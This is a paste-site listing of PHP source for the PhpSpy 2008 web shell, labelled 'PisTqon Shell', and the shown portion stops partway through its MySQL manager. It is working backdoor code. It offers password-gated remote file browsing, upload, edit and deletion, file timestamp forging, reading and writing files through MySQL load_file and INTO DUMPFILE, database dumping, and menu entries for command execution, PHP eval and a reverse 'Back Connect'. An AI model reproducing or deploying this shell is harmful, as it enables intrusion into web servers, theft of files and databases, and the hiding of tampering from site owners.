· 9 years ago · Mar 25, 2017, 10:52 AM
1<?php
2error_reporting(7);
3@set_magic_quotes_runtime(0);
4ob_start();
5$mtime = explode(' ', microtime());
6$starttime = $mtime[1] + $mtime[0];
7define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
8//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
9define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
10define('IS_COM', class_exists('COM') ? 1 : 0 );
11define('IS_GPC', get_magic_quotes_gpc());
12$dis_func = get_cfg_var('disable_functions');
13define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
14@set_time_limit(0);
15
16foreach(array('_GET','_POST') as $_request) {
17 foreach($$_request as $_key => $_value) {
18 if ($_key{0} != '_') {
19 if (IS_GPC) {
20 $_value = s_array($_value);
21 }
22 $$_key = $_value;
23 }
24 }
25}
26
27
28/*===================== ? =====================*/
29
30if ($charset == 'utf8') {
31 header("content-Type: text/html; charset=utf-8");
32} elseif ($charset == 'big5') {
33 header("content-Type: text/html; charset=big5");
34} elseif ($charset == 'gbk') {
35 header("content-Type: text/html; charset=gbk");
36} elseif ($charset == 'latin1') {
37 header("content-Type: text/html; charset=iso-8859-2");
38}
39
40$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
41$timestamp = time();
42
43/*===================== ? =====================*/
44if ($action == "logout") {
45 scookie('phpspypass', '', -86400 * 365);
46 p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
47 p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
48 exit;
49}
50if($admin['check']) {
51 if ($doing == 'login') {
52 if ($admin['pass'] == $password) {
53 scookie('phpspypass', $password);
54 p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
55 p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
56 exit;
57 }
58 }
59 if ($_COOKIE['phpspypass']) {
60 if ($_COOKIE['phpspypass'] != $admin['pass']) {
61 loginpage();
62 }
63 } else {
64 loginpage();
65 }
66}
67/*===================== ? =====================*/
68
69$errmsg = '';
70
71// ?PHPINFO
72if ($action == 'phpinfo') {
73 if (IS_PHPINFO) {
74 phpinfo();
75 } else {
76 $errmsg = 'phpinfo() function has non-permissible';
77 }
78}
79
80// ?
81if ($doing == 'downfile' && $thefile) {
82 if (!@file_exists($thefile)) {
83 $errmsg = 'The file you want Downloadable was nonexistent';
84 } else {
85 $fileinfo = pathinfo($thefile);
86 header('Content-type: application/x-'.$fileinfo['extension']);
87 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
88 header('Content-Length: '.filesize($thefile));
89 @readfile($thefile);
90 exit;
91 }
92}
93
94// ? ? ?
95if ($doing == 'backupmysql' && !$saveasfile) {
96 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
97 $table = array_flip($table);
98 $result = q("SHOW tables");
99 if (!$result) p('<h2>'.mysql_error().'</h2>');
100 $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
101 header('Content-type: application/unknown');
102 header('Content-Disposition: attachment; filename='.$filename);
103 $mysqldata = '';
104 while ($currow = mysql_fetch_array($result)) {
105 if (isset($table[$currow[0]])) {
106 $mysqldata .= sqldumptable($currow[0]);
107 }
108 }
109 mysql_close();
110 exit;
111}
112
113// ? MYSQL ?
114if($doing=='mysqldown'){
115 if (!$dbname) {
116 $errmsg = 'Please input dbname';
117 } else {
118 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
119 if (!file_exists($mysqldlfile)) {
120 $errmsg = 'The file you want Downloadable was nonexistent';
121 } else {
122 $result = q("select load_file('$mysqldlfile');");
123 if(!$result){
124 q("DROP TABLE IF EXISTS tmp_angel;");
125 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
126 // ? ? ? , ? ? __angel_1111111111_eof__ ? ?
127 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
128 $result = q("select content from tmp_angel");
129 q("DROP TABLE tmp_angel");
130 }
131 $row = @mysql_fetch_array($result);
132 if (!$row) {
133 $errmsg = 'Load file failed '.mysql_error();
134 } else {
135 $fileinfo = pathinfo($mysqldlfile);
136 header('Content-type: application/x-'.$fileinfo['extension']);
137 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
138 header("Accept-Length: ".strlen($row[0]));
139 echo $row[0];
140 exit;
141 }
142 }
143 }
144}
145
146?>
147<html>
148<head>
149<meta http-equiv="Content-Type" content="text/html; charset=gbk">
150<title><?php echo str_replace('.','','P.h.p.S.p.y');?> | PisTqon Shell</title>
151<style type="text/css">
152body,td{font: 12px Arial,Tahoma;line-height: 16px;}
153.input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
154.area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
155.bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
156a {color: #00f;text-decoration:underline;}
157a:hover{color: #f00;text-decoration:none;}
158.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
159.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
160.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
161.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
162.head td span{font-weight:normal;}
163form{margin:0;padding:0;}
164h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
165ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
166u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
167</style>
168<script type="text/javascript">
169function CheckAll(form) {
170 for(var i=0;i<form.elements.length;i++) {
171 var e = form.elements[i];
172 if (e.name != 'chkall')
173 e.checked = form.chkall.checked;
174 }
175}
176function $(id) {
177 return document.getElementById(id);
178}
179function goaction(act){
180 $('goaction').action.value=act;
181 $('goaction').submit();
182}
183</script>
184</head>
185<body style="margin:0;table-layout:fixed; word-break:break-all">
186<table width="100%" border="0" cellpadding="0" cellspacing="0">
187 <tr class="head">
188 <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
189 </tr>
190 <tr class="alt1">
191 <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
192 <a href="javascript:goaction('logout');">Logout</a> |
193 <a href="javascript:goaction('file');">File Manager</a> |
194 <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
195 <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
196 <a href="javascript:goaction('shell');">Execute Command</a> |
197 <a href="javascript:goaction('phpenv');">PHP Variable</a> |
198 <a href="javascript:goaction('eval');">Eval PHP Code</a>
199 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
200 </td>
201 </tr>
202</table>
203<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
204<?php
205
206formhead(array('name'=>'goaction'));
207makehide('action');
208formfoot();
209
210$errmsg && m($errmsg);
211
212// ? ?·
213!$dir && $dir = '.';
214$nowpath = getPath(SA_ROOT, $dir);
215if (substr($dir, -1) != '/') {
216 $dir = $dir.'/';
217}
218$uedir = ue($dir);
219
220if (!$action || $action == 'file') {
221
222 // ?? ?
223 $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
224
225 // ? ?¼
226 if ($doing == 'deldir' && $thefile) {
227 if (!file_exists($thefile)) {
228 m($thefile.' directory does not exist');
229 } else {
230 m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
231 }
232 }
233
234 // ?¼
235 elseif ($newdirname) {
236 $mkdirs = $nowpath.$newdirname;
237 if (file_exists($mkdirs)) {
238 m('Directory has already existed');
239 } else {
240 m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
241 @chmod($mkdirs,0777);
242 }
243 }
244
245 // ? ?
246 elseif ($doupfile) {
247 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
248 }
249
250 // * ?
251 elseif ($editfilename && $filecontent) {
252 $fp = @fopen($editfilename,'w');
253 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
254 @fclose($fp);
255 }
256
257 // * ?
258 elseif ($pfile && $newperm) {
259 if (!file_exists($pfile)) {
260 m('The original file does not exist');
261 } else {
262 $newperm = base_convert($newperm,8,10);
263 m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
264 }
265 }
266
267 //
268 elseif ($oldname && $newfilename) {
269 $nname = $nowpath.$newfilename;
270 if (file_exists($nname) || !file_exists($oldname)) {
271 m($nname.' has already existed or original file does not exist');
272 } else {
273 m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
274 }
275 }
276
277 // ?
278 elseif ($sname && $tofile) {
279 if (file_exists($tofile) || !file_exists($sname)) {
280 m('The goal file has already existed or original file does not exist');
281 } else {
282 m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
283 }
284 }
285
286 // ¡?
287 elseif ($curfile && $tarfile) {
288 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
289 m('The goal file has already existed or original file does not exist');
290 } else {
291 $time = @filemtime($tarfile);
292 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
293 }
294 }
295
296 // ? ?
297 elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
298 if (!@file_exists($curfile)) {
299 m(basename($curfile).' does not exist');
300 } else {
301 $time = strtotime("$year-$month-$day $hour:$minute:$second");
302 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
303 }
304 }
305
306 //
307 elseif($doing == 'downrar') {
308 if ($dl) {
309 $dfiles='';
310 foreach ($dl as $filepath => $value) {
311 $dfiles.=$filepath.',';
312 }
313 $dfiles=substr($dfiles,0,strlen($dfiles)-1);
314 $dl=explode(',',$dfiles);
315 $zip=new PHPZip($dl);
316 $code=$zip->out;
317 header('Content-type: application/octet-stream');
318 header('Accept-Ranges: bytes');
319 header('Accept-Length: '.strlen($code));
320 header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
321 echo $code;
322 exit;
323 } else {
324 m('Please select file(s)');
325 }
326 }
327
328 // ? ?
329 elseif($doing == 'delfiles') {
330 if ($dl) {
331 $dfiles='';
332 $succ = $fail = 0;
333 foreach ($dl as $filepath => $value) {
334 if (@unlink($filepath)) {
335 $succ++;
336 } else {
337 $fail++;
338 }
339 }
340 m('Deleted file have finished choose '.count($dl).' success '.$succ.' fail '.$fail);
341 } else {
342 m('Please select file(s)');
343 }
344 }
345
346 //
347 formhead(array('name'=>'createdir'));
348 makehide('newdirname');
349 makehide('dir',$nowpath);
350 formfoot();
351 formhead(array('name'=>'fileperm'));
352 makehide('newperm');
353 makehide('pfile');
354 makehide('dir',$nowpath);
355 formfoot();
356 formhead(array('name'=>'copyfile'));
357 makehide('sname');
358 makehide('tofile');
359 makehide('dir',$nowpath);
360 formfoot();
361 formhead(array('name'=>'rename'));
362 makehide('oldname');
363 makehide('newfilename');
364 makehide('dir',$nowpath);
365 formfoot();
366 formhead(array('name'=>'fileopform'));
367 makehide('action');
368 makehide('opfile');
369 makehide('dir');
370 formfoot();
371
372 $free = @disk_free_space($nowpath);
373 !$free && $free = 0;
374 $all = @disk_total_space($nowpath);
375 !$all && $all = 0;
376 $used = $all-$free;
377 $used_percent = @round(100/($all/$free),2);
378 p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
379
380?>
381<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
382 <form action="" method="post" id="godir" name="godir">
383 <tr>
384 <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
385 <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
386 <td nowrap><input class="bt" value="GO" type="submit"></td>
387 </tr>
388 </form>
389</table>
390<script type="text/javascript">
391function createdir(){
392 var newdirname;
393 newdirname = prompt('Please input the directory name:', '');
394 if (!newdirname) return;
395 $('createdir').newdirname.value=newdirname;
396 $('createdir').submit();
397}
398function fileperm(pfile){
399 var newperm;
400 newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
401 if (!newperm) return;
402 $('fileperm').newperm.value=newperm;
403 $('fileperm').pfile.value=pfile;
404 $('fileperm').submit();
405}
406function copyfile(sname){
407 var tofile;
408 tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
409 if (!tofile) return;
410 $('copyfile').tofile.value=tofile;
411 $('copyfile').sname.value=sname;
412 $('copyfile').submit();
413}
414function rename(oldname){
415 var newfilename;
416 newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
417 if (!newfilename) return;
418 $('rename').newfilename.value=newfilename;
419 $('rename').oldname.value=oldname;
420 $('rename').submit();
421}
422function dofile(doing,thefile,m){
423 if (m && !confirm(m)) {
424 return;
425 }
426 $('filelist').doing.value=doing;
427 if (thefile){
428 $('filelist').thefile.value=thefile;
429 }
430 $('filelist').submit();
431}
432function createfile(nowpath){
433 var filename;
434 filename = prompt('Please input the file name:', '');
435 if (!filename) return;
436 opfile('editfile',nowpath + filename,nowpath);
437}
438function opfile(action,opfile,dir){
439 $('fileopform').action.value=action;
440 $('fileopform').opfile.value=opfile;
441 $('fileopform').dir.value=dir;
442 $('fileopform').submit();
443}
444function godir(dir,view_writable){
445 if (view_writable) {
446 $('godir').view_writable.value=1;
447 }
448 $('godir').dir.value=dir;
449 $('godir').submit();
450}
451</script>
452 <?php
453 tbhead();
454 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
455 p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
456 p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
457 if ($view_writable) {
458 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
459 } else {
460 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
461 }
462 p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
463 if (IS_WIN && IS_COM) {
464 $obj = new COM('scripting.filesystemobject');
465 if ($obj && is_object($obj)) {
466 $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
467 foreach($obj->Drives as $drive) {
468 if ($drive->DriveType == 2) {
469 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'
470Free:'.sizecount($drive->FreeSpace).'
471Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
472 } else {
473 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
474 }
475 }
476 }
477 }
478
479 p('</td></tr></form>');
480
481 p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
482
483 // ? ? ? ? ?¼
484 $dirdata=array();
485 $filedata=array();
486
487 if ($view_writable) {
488 $dirdata = GetList($nowpath);
489 } else {
490 // ?¼ ?
491 $dirs=@opendir($dir);
492 while ($file=@readdir($dirs)) {
493 $filepath=$nowpath.$file;
494 if(@is_dir($filepath)){
495 $dirdb['filename']=$file;
496 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
497 $dirdb['dirchmod']=getChmod($filepath);
498 $dirdb['dirperm']=getPerms($filepath);
499 $dirdb['fileowner']=getUser($filepath);
500 $dirdb['dirlink']=$nowpath;
501 $dirdb['server_link']=$filepath;
502 $dirdb['client_link']=ue($filepath);
503 $dirdata[]=$dirdb;
504 } else {
505 $filedb['filename']=$file;
506 $filedb['size']=sizecount(@filesize($filepath));
507 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
508 $filedb['filechmod']=getChmod($filepath);
509 $filedb['fileperm']=getPerms($filepath);
510 $filedb['fileowner']=getUser($filepath);
511 $filedb['dirlink']=$nowpath;
512 $filedb['server_link']=$filepath;
513 $filedb['client_link']=ue($filepath);
514 $filedata[]=$filedb;
515 }
516 }// while
517 unset($dirdb);
518 unset($filedb);
519 @closedir($dirs);
520 }
521 @sort($dirdata);
522 @sort($filedata);
523 $dir_i = '0';
524 foreach($dirdata as $key => $dirdb){
525 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
526 $thisbg = bg();
527 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
528 p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
529 p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
530 p('<td nowrap>'.$dirdb['mtime'].'</td>');
531 p('<td nowrap>--</td>');
532 p('<td nowrap>');
533 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
534 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
535 p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
536 p('</tr>');
537 $dir_i++;
538 } else {
539 if($dirdb['filename']=='..') {
540 p('<tr class='.bg().'>');
541 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
542 p('</tr>');
543 }
544 }
545 }
546
547 p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
548 p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
549 makehide('action','file');
550 makehide('thefile');
551 makehide('doing');
552 makehide('dir',$nowpath);
553 $file_i = '0';
554 foreach($filedata as $key => $filedb){
555 if($filedb['filename']!='..' && $filedb['filename']!='.') {
556 $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
557 $thisbg = bg();
558 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
559 p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
560 p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
561 p('<td nowrap>'.$filedb['mtime'].'</td>');
562 p('<td nowrap>'.$filedb['size'].'</td>');
563 p('<td nowrap>');
564 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
565 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
566 p('<td nowrap>');
567 p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
568 p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
569 p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
570 p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
571 p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
572 p('</td></tr>');
573 $file_i++;
574 }
575 }
576 p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
577 p('</form></table>');
578}// end dir
579
580elseif ($action == 'sqlfile') {
581 if($doing=="mysqlupload"){
582 $file = $_FILES['uploadfile'];
583 $filename = $file['tmp_name'];
584 if (file_exists($savepath)) {
585 m('The goal file has already existed');
586 } else {
587 if(!$filename) {
588 m('Please choose a file');
589 } else {
590 $fp=@fopen($filename,'r');
591 $contents=@fread($fp, filesize($filename));
592 @fclose($fp);
593 $contents = bin2hex($contents);
594 if(!$upname) $upname = $file['name'];
595 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
596 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
597 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
598 }
599 }
600 }
601?>
602<script type="text/javascript">
603function mysqlfile(doing){
604 if(!doing) return;
605 $('doing').value=doing;
606 $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
607 $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
608 $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
609 $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
610 $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
611 $('mysqlfile').charset.value=$('dbinfo').charset.value;
612 $('mysqlfile').submit();
613}
614</script>
615<?php
616 !$dbhost && $dbhost = 'localhost';
617 !$dbuser && $dbuser = 'root';
618 !$dbport && $dbport = '3306';
619 $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
620 formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
621 makehide('action','sqlfile');
622 p('<p>');
623 p('DBHost:');
624 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
625 p(':');
626 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
627 p('DBUser:');
628 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
629 p('DBPass:');
630 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
631 p('DBName:');
632 makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
633 p('DBCharset:');
634 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
635 p('</p>');
636 formfoot();
637 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
638 p('<h2>Upload file</h2>');
639 p('<p><b>This operation the DB user must has FILE privilege</b></p>');
640 p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
641 p('<h2>Download file</h2>');
642 p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
643 makehide('dbhost');
644 makehide('dbport');
645 makehide('dbuser');
646 makehide('dbpass');
647 makehide('dbname');
648 makehide('charset');
649 makehide('doing');
650 makehide('action','sqlfile');
651 p('</form>');
652}
653
654elseif ($action == 'sqladmin') {
655 !$dbhost && $dbhost = 'localhost';
656 !$dbuser && $dbuser = 'root';
657 !$dbport && $dbport = '3306';
658 $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
659 if(isset($dbhost)){
660 $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
661 }
662 if(isset($dbuser)) {
663 $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
664 }
665 if(isset($dbpass)) {
666 $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
667 }
668 if(isset($dbport)) {
669 $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
670 }
671 if(isset($dbname)) {
672 $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
673 }
674 if(isset($charset)) {
675 $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
676 }
677
678 if ($doing == 'backupmysql' && $saveasfile) {
679 if (!$table) {
680 m('Please choose the table');
681 } else {
682 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
683 $table = array_flip($table);
684 $fp = @fopen($path,'w');
685 if ($fp) {
686 $result = q('SHOW tables');
687 if (!$result) p('<h2>'.mysql_error().'</h2>');
688 $mysqldata = '';
689 while ($currow = mysql_fetch_array($result)) {
690 if (isset($table[$currow[0]])) {
691 sqldumptable($currow[0], $fp);
692 }
693 }
694 fclose($fp);
695 $fileurl = str_replace(SA_ROOT,'',$path);
696 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
697 mysql_close();
698 } else {
699 m('Backup failed');
700 }
701 }
702 }
703 if ($insert && $insertsql) {
704 $keystr = $valstr = $tmp = '';
705 foreach($insertsql as $key => $val) {
706 if ($val) {
707 $keystr .= $tmp.$key;
708 $valstr .= $tmp."'".addslashes($val)."'";
709 $tmp = ',';
710 }
711 }
712 if ($keystr && $valstr) {
713 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
714 m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
715 }
716 }
717 if ($update && $insertsql && $base64) {
718 $valstr = $tmp = '';
719 foreach($insertsql as $key => $val) {
720 $valstr .= $tmp.$key."='".addslashes($val)."'";
721 $tmp = ',';
722 }
723 if ($valstr) {
724 $where = base64_decode($base64);
725 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
726 m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
727 }
728 }
729 if ($doing == 'del' && $base64) {
730 $where = base64_decode($base64);
731 $delete_sql = "DELETE FROM $tablename WHERE $where";
732 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
733 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
734 }
735
736 if ($tablename && $doing == 'drop') {
737 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
738 if (q("DROP TABLE $tablename")) {
739 m('Drop table of success');
740 $tablename = '';
741 } else {
742 m(mysql_error());
743 }
744 }
745
746 $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
747
748 formhead(array('title'=>'MYSQL Manager'));
749 makehide('action','sqladmin');
750 p('<p>');
751 p('DBHost:');
752 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
753 p(':');
754 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
755 p('DBUser:');
756 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
757 p('DBPass:');
758 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
759 p('DBCharset:');
760 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
761 makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
762 p('</p>');
763 formfoot();
764?>
765<script type="text/javascript">
766function editrecord(action, base64, tablename){
767 if (action == 'del') {
768 if (!confirm('Is or isn\'t deletion record?')) return;
769 }
770 $('recordlist').doing.value=action;
771 $('recordlist').base64.value=base64;
772 $('recordlist').tablename.value=tablename;
773 $('recordlist').submit();
774}
775function moddbname(dbname) {
776 if(!dbname) return;
777 $('setdbname').dbname.value=dbname;
778 $('setdbname').submit();
779}
780function settable(tablename,doing,page) {
781 if(!tablename) return;
782 if (doing) {
783 $('settable').doing.value=doing;
784 }
785 if (page) {
786 $('settable').page.value=page;
787 }
788 $('settable').tablename.value=tablename;
789 $('settable').submit();
790}
791</script>
792<?php
793 // ¼
794 formhead(array('name'=>'recordlist'));
795 makehide('doing');
796 makehide('action','sqladmin');
797 makehide('base64');
798 makehide('tablename');
799 p($dbform);
800 formfoot();
801
802 //? ?
803 formhead(array('name'=>'setdbname'));
804 makehide('action','sqladmin');
805 p($dbform);
806 if (!$dbname) {
807 makehide('dbname');
808 }
809 formfoot();
810
811 //?
812 formhead(array('name'=>'settable'));
813 makehide('action','sqladmin');
814 p($dbform);
815 makehide('tablename');
816 makehide('page',$page);
817 makehide('doing');
818 formfoot();
819
820 $cachetables = array();
821 $pagenum = 30;
822 $page = intval($page);
823 if($page) {
824 $start_limit = ($page - 1) * $pagenum;
825 } else {
826 $start_limit = 0;
827 $page = 1;
828 }
